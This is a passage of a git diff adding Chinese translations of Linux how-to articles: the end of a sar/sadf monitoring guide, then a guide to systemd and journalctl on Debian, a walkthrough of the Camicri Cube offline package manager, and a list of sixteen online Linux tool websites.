kbmemfree kbmemused %memused kbbuffers kbcached kbcommit %commit kbactive kbinact kbdirty + 02:14:30 IST 1465660 2594840 63.90 133052 1549644 3710800 45.35 1133148 1359792 392 + 02:14:31 IST 1472724 2587776 63.73 133060 1549792 3715504 45.40 1125816 1360000 836 + 02:14:32 IST 1469112 2591388 63.82 133060 1550036 3705288 45.28 1130252 1360168 804 + Average: 1469165 2591335 63.82 133057 1549824 3710531 45.34 1129739 1359987 677 + +20.使用‘**sadf -d**’参数可以将数据导出为数据库可以使用的格式。 + + tecmint@tecmint ~ $ safd -d /var/log/sa/sa20140903 -- -n DEV | grep -v lo + + # hostname;interval;timestamp;IFACE;rxpck/s;txpck/s;rxkB/s;txkB/s;rxcmp/s;txcmp/s;rxmcst/s;%ifutil + tecmint;2;2014-09-03 07:53:29 UTC;eth0;1.50;0.00;0.13;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 07:53:31 UTC;eth0;2.00;0.00;0.18;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 07:53:33 UTC;eth0;1.00;0.00;0.09;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 07:53:35 UTC;eth0;2.00;0.00;0.18;0.00;0.00;0.00;0.00;0.00 + tecmint;14778;2014-09-03 11:59:54 UTC;eth0;1.78;1.17;1.10;0.18;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 11:59:56 UTC;eth0;3.50;3.00;0.60;0.77;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 11:59:58 UTC;eth0;0.00;0.00;0.00;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:00 UTC;eth0;0.00;0.00;0.00;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:02 UTC;eth0;0.50;0.50;0.48;0.03;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:04 UTC;eth0;2.50;3.50;0.21;2.05;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:06 UTC;eth0;1.49;1.00;0.62;0.06;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:08 UTC;eth0;0.50;0.00;0.03;0.00;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:10 UTC;eth0;0.50;0.50;0.03;0.04;0.00;0.00;0.00;0.00 + tecmint;2;2014-09-03 12:00:12 UTC;eth0;1.00;0.50;0.12;0.04;0.00;0.00;0.00;0.00 + +你也可以将这些数据存储在一个csv文档中,然后绘制成图表展示方式,如下所示 + +![Network Graph](http://www.tecmint.com/wp-content/uploads/2014/09/sar-graph.png) + +*网络信息图表* + +现在,你可以参考man手册来后去每个参数的更多详细信息,并且请在文章下留下你宝贵的评论。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/sysstat-commands-to-monitor-linux/ + +作者:[Kuldeep Sharma][a] +译者:[cvsher](https://github.com/cvsher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/kuldeepsharma47/ +[1]:http://linux.cn/article-4025-1.html +[2]:http://linux.cn/article-4024-1.html diff --git a/published/201410/20140711 How to use systemd for system administration on Debian.md b/published/201410/20140711 How to use systemd for system administration on Debian.md new file mode 100644 index 0000000000..6dab8f50d0 --- /dev/null +++ b/published/201410/20140711 How to use systemd for system administration on Debian.md @@ -0,0 +1,106 @@ +在 Debian 上使用 systemd 管理系统 +================================================================================ +人类已经无法阻止 systemd 占领全世界的 Linux 系统了,唯一阻止它的方法是在你自己的机器上手动卸载它。到目前为止,systemd 已经创建了比任何软件都多的技术问题、感情问题和社会问题。这一点从[“Linux 初始化软件之战”][1]上就能看出,这场争论在 Debian 开发者之间持续了好几个月。当 Debian 技术委员会最终决定将 systemd 放到 Debian 8(代号 Jessie)的发行版里面时,其反对者试图通过多种努力来[取代这项决议][2],甚至有人扬言要威胁那些支持 systemd 的开发者的生命安全。 + +这也说明了 systemd 对 Unix 传承下来的系统处理方式有很大的干扰。“一个软件只做一件事情”的哲学思想已经被这个新来者彻底颠覆。除了取代了 sysvinit 成为新的系统初始化工具外,systemd 还是一个系统管理工具。目前为止,由于 systemd-sysv 这个软件包提供的兼容性,那些我们使用惯了的工具还能继续工作。但是当 Debian 将 systemd 升级到214版本后,这种兼容性就不复存在了。升级措施预计会在 Debian 8 "Jessie" 的稳定分支上进行。从此以后用户必须使用新的命令来管理系统、执行任务、变换运行级别、查询系统日志等等。不过这里有一个应对方案,那就是在 .bashrc 文件里面添加一些别名。 + +现在就让我们来看看 systemd 是怎么改变你管理系统的习惯的。在使用 systemd 之前,你得先把 sysvinit 保存起来,以便在 systemd 出错的时候还能用 sysvinit 启动系统。这种方法**只有在没安装 systemd-sysv 的情况下才能生效**,具体操作方法如下: + + # cp -av /sbin/init /sbin/init.sysvinit + +在紧急情况下,可以把下面的文本: + + init=/sbin/init.sysvinit + +添加到内核启动参数项那里。 + +### systemctl 的基本用法 ### + +systemctl 的功能是替代“/etc/init.d/foo start/stop”这类命令,另外,其实它还能做其他的事情,这点你可以参考 man 文档。 + +一些基本用法: + +- systemctl - 列出所有单元(UNIT)以及它们的状态(这里的 UNIT 指的就是系统上的 job 和 service) +- systemctl list-units - 列出所有 UNIT +- systemctl start [NAME...] - 启动一项或多项 UNIT +- systemctl stop [NAME...] - 停止一项或多项 UNIT +- systemctl disable [NAME...] - 将 UNIT 设置为开机不启动 +- systemctl list-unit-files - 列出所有已安装的 UNIT,以及它们的状态 +- systemctl --failed - 列出开机启动失败的 UNIT +- systemctl --type=mount - 列出某种类型的 UNIT,类型包含:service, mount, device, socket, target +- systemctl enable debug-shell.service - 将一个 shell 脚本设置为开机启动,用于调试 + +为了更方便处理这些 UNIT,你可以使用 systemd-ui 软件包,你只要输入 systemadm 命令就可以使用这个软件。 + +你同样可以使用 systemctl 实现转换运行级别、重启系统和关闭系统的功能: + +- systemctl isolate graphical.target - 切换到运行级别5,就是有桌面的运行级别 +- systemctl isolate multi-user.target - 切换到运行级别3,没有桌面的运行级别 +- systemctl reboot - 重启系统 +- systemctl poweroff - 关机 + +所有命令,包括切换到其他运行级别的命令,都可以在普通用户的权限下执行。 + +### journalctl 的基本用法 ### + +systemd 不仅提供了比 sysvinit 更快的启动速度,还让日志系统在更早的时候启动起来,可以记录内核初始化阶段、内存初始化阶段、前期启动步骤以及主要的系统执行过程的日志。所以,**以前那种需要通过对显示屏拍照或者暂停系统来调试程序的日子已经一去不复返啦**。 + +systemd 的日志文件都被放在 /var/log 目录。如果你想使用它的日志功能,需要执行一些命令,因为 Debian 没有打开日志功能。命令如下: + + # addgroup --system systemd-journal + # mkdir -p /var/log/journal + # chown root:systemd-journal /var/log/journal + # gpasswd -a $user systemd-journal + +通过上面的设置,你就可以以普通用户权限使用 journal 软件查看日志。使用 journalctl 查询日志可以获得一些比 syslog 软件更方便的玩法: + +- journalctl --all - 显示系统上所有日志,以及它的用户 +- journalctl -f - 监视系统日志的变化(类似 tail -f /var/log/messages 的效果) +- journalctl -b - 显示系统启动以后的日志 +- journalctl -k -b -1 - 显示上一次(-b -1)系统启动前产生的内核日志 +- journalctl -b -p err - 显示系统启动后产生的“ERROR”日志 +- journalctl --since=yesterday - 当系统不会经常重启的时候,这条命令能提供比 -b 更短的日志记录 +- journalctl -u cron.service --since='2014-07-06 07:00' --until='2014-07-06 08:23' - 显示 cron 服务在某个时间段内打印出来的日志 +- journalctl -p 2 --since=today - 显示优先级别为2以内的日志,包含 emerg、alert、crit三个级别。所有日志级别有: emerg (0), alert (1), crit (2), err (3), warning (4), notice (5), info (6), debug (7) +- journalctl > yourlog.log - 将二进制日志文件复制成文本文件并保存到当前目录 + +Journal 和 syslog 可以很好的共存。而另一方面,一旦你习惯了操作 journal,你也可以卸载掉所有 syslog 的软件,比如 rsyslog 或 syslog-ng。 + +如果想要得到更详细的日志信息,你可以在内核启动参数上添加“systemd.log_level=debug”,然后运行下面的命令: + + # journalctl -alb + +你也可以编辑 /etc/systemd/system.conf 文件来修改日志级别。 + +### 利用 systemd 分析系统启动过程 ### + +systemd 可以让你能更有效地分析和优化你的系统启动过程: + +- systemd-analyze - 显示本次启动系统过程中用户态和内核态所花的时间 +- systemd-analyze blame - 显示每个启动项所花费的时间明细 +- systemd-analyze critical-chain - 按时间顺序打印 UNIT 树 +- systemd-analyze dot | dot -Tsvg > systemd.svg - 为开机启动过程生成向量图(需要安装 graphviz 软件包) +- systemd-analyze plot > bootplot.svg - 产生开机启动过程的时间图表 + +![](https://farm6.staticflickr.com/5559/14607588994_38543638b3_z.jpg) + +![](https://farm6.staticflickr.com/5565/14423020978_14b21402c8_z.jpg) + +systemd 虽然是个年轻的项目,但已有大量文档。首先要介绍给你的是[Lennart Poettering 的 0pointer 系列][3]。这个系列非常详细,非常有技术含量。另外一个是[免费桌面信息文档][4],它包含了最详细的关于 systemd 的链接:发行版特性文件、bug 跟踪系统和说明文档。你可以使用下面的命令来查询 systemd 都提供了哪些文档: + + # man systemd.index + +不同发行版之间的 systemd 提供的命令基本一样,最大的不同之处就是打包方式。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/use-systemd-system-administration-debian.html + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lists.debian.org/debian-devel/2013/10/msg00444.html +[2]:https://lists.debian.org/debian-devel/2014/02/msg00316.html +[3]:http://0pointer.de/blog/projects/systemd.html +[4]:http://www.freedesktop.org/wiki/Software/systemd/ diff --git a/published/201410/20140724 Camicri Cube--An Offline And Portable Package Management System.md b/published/201410/20140724 Camicri Cube--An Offline And Portable Package Management System.md new file mode 100644 index 0000000000..80a98b928e --- /dev/null +++ b/published/201410/20140724 Camicri Cube--An Offline And Portable Package Management System.md @@ -0,0 +1,168 @@ +Camicri Cube: 可离线的便携包管理系统 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/camicri-cube-206x205.jpg) + +众所周知,在系统中使用新立得包管理工具或软件中心下载和安装应用程序的时候,我们必须得有互联网连接。但,如果您刚好没有网络或者是网络速度死慢死慢的呢?在您的 Linux 桌面系统中使用软件中心包管理工具来安装软件绝对是一个头痛的问题。反而,您可以从相应的官网上手工下载应用程序包并手工安装。但是,大多数的 Linux 用户并不知道他们希望安装的应用程序所需要的依赖关系包。如果您恰巧出现这种情况,应用怎么办呢?现在一切都不用担心了。今天,我们给您介绍一款非常棒的名叫 **Camicri Cube** 的离线包管理工具。 + +您可以把此包管理工具装在任何联网的系统上,下载您所需要安装的软件列表,然后把它们安装到没联网的机器上,就可以安装了。听起来很不错吧?是的,它就是这样操作的。Cube 是一款像新立得和 Ubuntu 软件中心这样的包管理工具,但是一款便携式的。它在任何平台(Windows 系统、基于 Apt 的 Linux 发布系统)、在线状态、离线状态、在闪存或任何可移动设备上都是可以使用和运行的。我们这个实验项目的主要目的是使处在离线状态的 Linux 用户能很容易的下载和安装 Linux 应用程序。 + +Cube 会收集您的离线电脑的详细信息,如操作系统的详细信息、安装的应用程序等等。然后使用 USB 迷你盘对 cube 应用程序进行拷贝,得到一副本,把其放在其它有网络连接的系统上使用,接着就可以下载您需要的应用程序列表。下载完所有需要的软件包之后,回到您原来的计算机,并开始安装。Cube 是由 **Jake Capangpangan** 开发和维护的,是用 C++ 语言编写,而且已经集成了所有必须的包。因此,使用它并不需要再安装任何额外的软件。 + +### 安装 ### + +现在,让我们下载 Cube 程序包,然后在没有网络连接的离线系统上进行安装。既可以从[官网主站页面][1]下载,也可以从 [Sourceforge 网站][2]下载。要确保下载的版本跟您的离线计算机架构对应的系统相匹配。比如我使用的是64位的系统,就要下载64位版本的安装包。 + + wget http://sourceforge.net/projects/camicricube/files/Camicri%20Cube%201.0.9/cube-1.0.9.2_64bit.zip/ + +对此 zip 文件解压,解压到 home 目录或者着是您想放的任何地方: + + unzip cube-1.0.9.2_64bit.zip + +这就好了。接着,该是知道怎么使用的时候了。 + +### 使用 ### + +这儿,我使用的是两台装有 Ubuntu 系统的机器。原机器(离线-没有网络连接)上面跑着的是 **Ubuntu 14.04** 系统,有网络连接的机器跑着的是 **Lubuntu 14.04** 桌面系统。 + +#### 离线系统上的操作步骤: #### + +在离线系统上,进入已经解压的 Cube 文件目录,您会发现一个名叫 “cube-linux” 的可执行文件,双击它,并点击执行。如果它是不可执行的,用如下命令设置其可执行权限。 + + sudo chmod -R +x cube/ + +然后,进入 cube 目录, + + cd cube/ + +接着执行如下命令来运行: + + ./cube-linux + +输入项目的名称(比如sk)然后点击**创建**按纽。正如我上面提到的,这将会创建一个与您的系统相关的完整详细信息的新项目,如操作系统的详细信息、安装的应用程序列表、库等等。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Cube-Startup-Create-or-choose-a-project-to-be-managed_0013.png) + +如您所知,我们的系统是离线的,意思是没有网络连接。所以我点击**取消**按纽来跳过资源库的更新过程。随后我们会在一台有网络连接的系统上更新此资源库。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0023.png) + +再一次,在这台离线机器上我们点击 **No** 来跳过更新,因为我们没有网络连接。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0033.png) + +就是这样。现在新的项目已经创建好了,它会保存在我们的主 cube 目录里面。进入 Cube 目录,您就会发现一个名叫 Projects 的目录。这个目录会保存有您的离线系统的必要完整详细信息。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Selection_004.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Selection_005.png) + +现在,关闭 cube 应用程序,然后拷贝整个主 **cube** 文件夹到任何的闪存盘里,接入有网络连接的系统。 + +#### 在线系统上操作步骤: #### + +往下的操作步骤需要在有网络连接的系统上进行。在我们的例子中,用的是 **Lubuntu 14.04** 系统的机器。 + +跟在源机器上的操作一样设置使 cube 目录具有可执行权限。 + + sudo chmod -R +x cube/ + +现在,双击 cube-linux 文件运行应用程序或者也可以在终端上加载运行,如下所示: + + cd cube/ + ./cube-linux + +在窗口的 “Open Existing Projects” 部分会看到您的项目列表,选择您需要的项目。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Cube-Startup-Create-or-choose-a-project-to-be-managed_0014.png) + +随后,cube 会询问这是否是您的项目所在的源机器。它并不是我的源(离线)机器,所以我点击 **No**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0024.png) + +接着会询问是否想要更新您的资源库。点击 **OK** 来更新资料库。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0034.png) + +下一步,我们得更新所有过期的包/应用程序。点击 Cube 工具栏上的 “**Mark All updates**” 按纽。然后点击 “**Download all marked**” 按纽来更新所有过期的包/应用程序。如下截图所示,在我的例子当中,有302个包需要更新。这时,点击 **OK** 来继续下载所标记的安装包。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_005.png) + +现在,Cube 会开始下载所有已标记的包。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Downloading-packages_006.png) + +我们已经完成了对资料库和安装包的更新。此时,如果您在离线系统上还需要其它的安装包,您也可以下载这些新的安装包。 + +#### 下载新的应用程序 #### + +例如,现在我想下载 **apache2** 包。在**搜索**框里输入包的名字,点击搜索按纽。Cube 程序会获取您想查找的应用程序的详细信息。点击 “**Download this package now**”按纽,接着点击 **OK** 就开始下载了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_008.png) + +Cube 将会下载 apache2 的安装包及所有的依赖包。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Downloading-packages_009.png) + +如果您想查找和下载更多安装包的话,只要简单的点击 “**Mark this package**” 按纽就可以搜索到需要的包了。只要您想在源机器上安装的包都可以标记上。一旦标记完所有的包,就可以点击位于顶部工具栏的 “**Download all marked**” 按纽来下载它们。 + +在完成资源库、过期软件包的更新和下载好新的应用程序后,就可以关闭 Cube 应用程序。然后,拷贝整个 Cube 文件夹到任何的闪盘或者外接硬盘。回到您的离线系统中来。 + +#### 离线机器上的操作步骤: #### + +把 Cube 文件夹拷回您的离线系统的任意位置。进入 cube 目录,并且双击 **cube-linux** 文件来加载启动 Cube 应用程序。 + +或者,您也可以从终端下启动它,如下所示: + + cd cube/ + ./cube-linux + +选择您的项目,点击打开。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Cube-Startup-Create-or-choose-a-project-to-be-managed_0012.png) + +然后会弹出一个对话框询问是否更新系统,尤其是已经下载好新的资源库的时候,请点击“是”。因为它会把所有的资源库传输到您的机器上。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0021.png) + +您会看到,在没有网络连接的情况下这些资源库会更新到您的离线机器上。那是因为我们已经在有网络连接的系统上下载更新了此资源库。看起来很酷,不是吗? + +更新完资源库后,让我们来安装所有的下载包。点击 “Mark all Downloaded” 按纽选中所有的下载包,然后点击 Cube 工具栏上的 “Install All Marked” 按纽来安装它们。Cube 应用程序会自动打开一个新的终端窗口来安装所有的软件包。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Terminal_001.png) + +如果遇到依赖的问题,进入 **Cube Menu -> Packages -> Install packages with complete dependencies** 来安装所有的依赖包。 + +如果您只想安装特定的包,定位到列表包位置,点击 “Downloaded” 按纽,所有的已下载包都会被列出来。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0035.png) + +然后双击某个特定的包,点击 “Install this”按纽来安装或者如果想过后再安装它的话可以先点击 “Mark this” 按纽。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Camicri-Systems-%C2%A9-Cube-Portable-Package-Manager-1.0.9.2-sk_0043.png) + +顺便提一句,您可以在任意已经连接网络的系统上下载所需要的包,然后在没有网络连接的离线系统上安装。 + +### 结论 ### + +这是我曾经使用过的最好、最有用的软件工具之一。但我在用 Ubuntu 14.04 测试盒子测试的时候,遇到了很多依赖问题,还经常会出现闪退的情况。也仅仅是在最新 Ubuntu 14.04 离线系统上使用没有遇到任何问题。希望这些问题在老版本的 Ubuntu 上不会发生。除了这些小问题,这个小工具就如同宣传的一样,像魔法一样神奇。 + +欢呼吧! + + +原文作者: + +![](http://1.gravatar.com/avatar/1ba62ac2b395f541750b6b4f873eb37b?s=70&d=monsterid&r=G) + +[SK][a](Senthilkumar,又名SK,来自于印度的泰米尔纳德邦,Linux 爱好者,FOSS 论坛支持者和 Linux 板块顾问。一个充满激情和活力的人,致力于提供高质量的 IT 专业文章,非常喜欢写作以及探索 Linux、开源、电脑和互联网等新事物。) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/camicri-cube-offline-portable-package-management-system/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:https://launchpad.net/camicricube +[2]:http://sourceforge.net/projects/camicricube/ diff --git a/published/201410/20140724 What are useful online tools for Linux.md b/published/201410/20140724 What are useful online tools for Linux.md new file mode 100644 index 0000000000..cfeadfc3b8 --- /dev/null +++ b/published/201410/20140724 What are useful online tools for Linux.md @@ -0,0 +1,150 @@ +16个 Linux 方面的在线工具类网站 +================================================================================ +众所周知,GNU Linux不仅仅只是一款操作系统。看起来通过互联网全球许多人都在致力于这款以企鹅为吉祥物的操作系统。如果你读到这篇文章,你可能希望读一些关于Linux在线资源的内容。在可以找到的所有关于这个主题的网页中,有一些网站是每个Linux爱好者都应该收藏起来的。这些网站不仅仅只是教程或回顾,更是可以随时随地访问并与他人共享的实用工具。所以,今天我会建议一份包含16个应该收藏的网址清单。它们中的一些对Windows或Mac用户同样有用:这是在他们的能力范围内可以做到的。(译者注:Windows和Mac一样可以很好地体验Linux) + +### 1. [ExplainShell.com][1] ### + +[![](https://farm4.staticflickr.com/3841/14517716647_3b6a1a564d_z.jpg)][2] + +如果你对Linux命令行感兴趣,那就试试这个网站。如果你对Linux命令行不感兴趣,那就更应该试试它,因为它会详尽地告诉你一个命令是如何工作的。这会防止你无意执行一个对电脑有害的命令,而且通过一个非常赞的界面来学习是一个好方法。 + +### 2. [BashrcGenerator.com][3] ### + +[![](https://farm4.staticflickr.com/3900/14703872782_033e5acdb8_z.jpg)][4] + +如果你想开始学习Linux命令行,或者想快速地生成一个自定义的shell命令提示符,但不知道从何下手,这个网站可以为你生成PS1提示的代码,将代码放到家目录下的.bashrc文件中即可。你可以拖拽任何你想在提示符里看到的元素,譬如用户名和当前时间,这个网站都会为你编写易懂可读的代码。绝对是懒人必备! + +### 3. [Vim-adventures.com][5] ### + +[![](https://farm4.staticflickr.com/3838/14681149696_0c533fd6de_z.jpg)][6] + +我是最近才发现这个网站的,但我的生活已经深陷其中。简而言之:它就是一个使用Vim命令的RPG游戏。在地图的平面上使用‘h,j,k,l’四个键移动你的角色、得到新的命令/能力、收集钥匙,可以帮助你非常快速地学习如何高效使用Vim。 + +### 4. [Try Github][7] ### + +[![](https://farm4.staticflickr.com/3874/14517499739_0452848d68_z.jpg)][8] + +目标很简单:15分钟学会Git。这个网站模拟一个控制台,带你遍历这种协作编辑的每一步。界面非常时尚,目的十分有用。唯一不足的是对Git感兴趣,但Git绝对是一项不错的技能,这里也是学习Git的绝佳之处。 + +### 5. [Shortcutfoo.com][9] ### + +[![](https://farm4.staticflickr.com/3906/14517499799_f142ea37cb_z.jpg)][10] + +又一个包含众多快捷键数据库的网站,shortcutfoo以更标准的方式将其内容呈现给用户,但绝对比有趣的迷你游戏更直截了当。这里有许多软件的快捷键,并按类别分组。虽然像Vim一类的软件它没有给出超级完整的快捷键列表,但也足以提供快速的提示或一般性的概述。 + +### 6. [GitHub Free Programming Books][11] ### + +[![](https://farm4.staticflickr.com/3867/14517499989_408a28d8be_z.jpg)][12] + +正如你从URL上猜到的一样,这个网站就是免费在线编程书籍的集合,使用Git协作方式编写。上面的内容非常好,作者们应该为他们做出的这些贡献受到表扬。它可能不是最容易阅读的,但一定是最有启发性的之一。我们只希望这项运动能持续进行。 + +### 7. [Collabedit.com][13] ### + +[![](https://farm3.staticflickr.com/2940/14681150086_2d169d67f9_z.jpg)][14] + +如果你曾经计划过电话面试,你应该先试试collabedit。它让你创建文件,选择你想使用的编程语言,然后通过URL共享文档。打开链接的人可以免费地实时使用文本交互,使你可以评判他们的编程水平或只是交换一些程序片段。这里甚至还提供合适的语法高亮和聊天功能。换句话说,这就是程序员的即时Google Doucment。 + +### 8. [Cpp.sh][15] ### + +[![](https://farm4.staticflickr.com/3840/14700981001_af3ac40b65_z.jpg)][16] + +尽管这个网站超出了Linux范围,但因为它非常有用,所以值得将它放在这里。简单地说,这是一个C++在线开发环境。只需在浏览器里编写程序,然后运行它。作为奖励,你可以使用自动补全、Ctrl+Z,以及和你的小伙伴分享你的作品的URL。这些有趣的事情,你只需要通过一个简单的浏览器就能做到。 + +### 9. [Copy.sh][17] ### + +[![](https://farm4.staticflickr.com/3883/14517479870_da521931eb_z.jpg)][18] + +如果想继续在浏览器上做一些疯狂的事情,你可以试试在copy.sh上在线运行一个虚拟机。就是这么简单。这个网站最近小有名气,但这个点子确实有些疯狂。从导航栏里,你可以选择运行默认的虚拟机镜像,或者上传你自己的iso文件。这项壮举的代码已经共享在[GitHub][19]。尽情尖叫吧! + +### 10. [Commandlinefu.com][20] ### + +[![](https://farm4.staticflickr.com/3887/14517495938_ca3b831ca9_z.jpg)][21] + +我们总是在自己的电脑上保存着一大段命令行“宝石”,commandlinefu的目标是把这些片段释放给全世界。作为一个协作式数据库,它就像是命令行里的维基百科。每个人可以免费注册,把自己最钟爱的命令提交到这个网站上给其他人看。你将能够获取来自四面八方的知识并与人分享。如果你对精通shell饶有兴趣,commandlinefu也可以提供一些优秀的特性,比如随机命令和每天学习新知识的新闻订阅。 + +### 11. [Alias.sh][22] ### + +[![](https://farm4.staticflickr.com/3868/14701762124_a7b3547aca_z.jpg)][23] + +另一协作式数据库,alias.sh(我爱死这个URL了)有点像commandlinefu,但是为shell别名开发的。你可以共享和发现一些有用的别名,来使你的CLI(命令行界面)体验更加舒服。我个人喜欢这个获取图片维度的别名命令。 + + function dim(){ sips $1 -g pixelWidth -g pixelHeight } + +你通过alias.sh节省下来的时间会积少成多,当你走到人生尽头的时候,会发现省下了许多年。(译者注:珍爱生命,多用别名!) + +### 12. [Distrowatch.com][24] ### + +[![](https://farm3.staticflickr.com/2910/14681149996_50a45bff78_z.jpg)][25] + +有谁不知道Distrowatch?除了基于这个网站流行度给出一个精确的Linux发行版排名,Distrowatch也是一个非常有用的数据库。无论你正苦苦寻找一个新的发行版,还是只是出于好奇,它都能为你能找到的每个Linux版本呈现一个详尽的描述,包含默认的桌面环境、包管理系统、默认应用程序等信息,还有所有的版本号,以及可用的下载链接。总而言之,这就是个Linux宝库。 + +### 13. [Linuxmanpages.com][26] ### + +[![](https://farm4.staticflickr.com/3911/14704165765_8e30cb3d3f_z.jpg)][27] + +一切尽在URL中说明了:随时随地获取主流命令的手册页面。尽管不确信对于Linux用户是否真的有用,因为他们可以从真实的终端中获取这些信息,但这里的内容还是值得关注的。 + +### 14. [AwesomeCow.com][28] ### + +[![](https://farm6.staticflickr.com/5558/14704165965_02b10ee293_z.jpg)][29] + +这可能对于骨灰级 Linux 没啥用,但是对于其他人也许有用。Awesomecow是一个搜索引擎,来寻找Windows软件在Linux上对应的替代品。它对那些迁移到企鹅操作系统(Linux)或习惯Windows软件的人很有帮助。我认为这个网站代表一种能力,表明了在谈到软件质量时Linux也可以适用于专业领域。大家至少可以尝试一下。 + +### 15. [PenguSpy.com][30] ### + +[![](https://farm4.staticflickr.com/3904/14517495728_f6877e8e3b_z.jpg)][31] + +Steam在Linux上崭露头角之前,可玩性可能是Linux的软肋。但这个名为“pengsupy”的网站不遗余力地弥补这个软肋,通过使用漂亮的界面展现了数据库中收集的所有兼容Linux的游戏。游戏按照类别、发行日期、评分等指标分类。我真心希望这一类的网站不会因为Steam的存在走向衰亡,毕竟这是我在这个列表里最喜爱的网站之一。 + +### 16. [Linux Cross Reference by Free Electrons][32] ### + +[![](https://farm4.staticflickr.com/3913/14712049464_6b666e2cfa_z.jpg)][33] + +最后,对所有的专家和好奇的用户,lxr 是源于 Linux Cross Reference 的另外一种形式,使我们能交互地在线查看Linux内核代码。可以通过各种标识符在代码中很方便地导航,你可以使用标准的diff标记对比文件的不同版本。这个网站的界面看起来严肃直接,毕竟这只是一个希望完美阐述开源观点的网站。 + +总而言之,应该列出更多这一类的网站,作为这篇文章第二部分的主题。但这篇文章是一个好的开始,是一道为Linux用户寻找在线工具的开胃菜。如果你有其它任何想要分享的页面,而且是紧跟这个主题的,在评论里写出来。这将有助于续写这个列表。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/useful-online-tools-linux.html + +原文作者:[Adrien Brochard][a](我是一名来自法国的Linux狂热爱好者。在尝试过众多的发行版后,我最终选择了Archlinux。但我一直会通过叠加技巧和窍门来优化我的系统。) + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://explainshell.com/ +[2]:https://www.flickr.com/photos/xmodulo/14517716647/ +[3]:http://bashrcgenerator.com/ +[4]:https://www.flickr.com/photos/xmodulo/14703872782/ +[5]:http://vim-adventures.com/ +[6]:https://www.flickr.com/photos/xmodulo/14681149696/ +[7]:https://try.github.io/ +[8]:https://www.flickr.com/photos/xmodulo/14517499739/ +[9]:https://www.shortcutfoo.com/ +[10]:https://www.flickr.com/photos/xmodulo/14517499799/ +[11]:https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md +[12]:https://www.flickr.com/photos/xmodulo/14517499989/ +[13]:http://collabedit.com/ +[14]:https://www.flickr.com/photos/xmodulo/14681150086/ +[15]:http://cpp.sh/ +[16]:https://www.flickr.com/photos/xmodulo/14700981001/ +[17]:http://copy.sh/v24/ +[18]:https://www.flickr.com/photos/xmodulo/14517479870/ +[19]:https://github.com/copy/v86 +[20]:http://www.commandlinefu.com/ +[21]:https://www.flickr.com/photos/xmodulo/14517495938/ +[22]:http://alias.sh/ +[23]:https://www.flickr.com/photos/xmodulo/14701762124/ +[24]:http://distrowatch.com/ +[25]:https://www.flickr.com/photos/xmodulo/14681149996/ +[26]:http://www.linuxmanpages.com/ +[27]:https://www.flickr.com/photos/xmodulo/14704165765/ +[28]:http://awesomecow.com/ +[29]:https://www.flickr.com/photos/xmodulo/14704165965/ +[30]:http://www.penguspy.com/ +[31]:https://www.flickr.com/photos/xmodulo/14517495728/ +[32]:http://lxr.free-electrons.com/ +[33]:https://www.flickr.com/photos/xmodulo/14712049464/ \ No 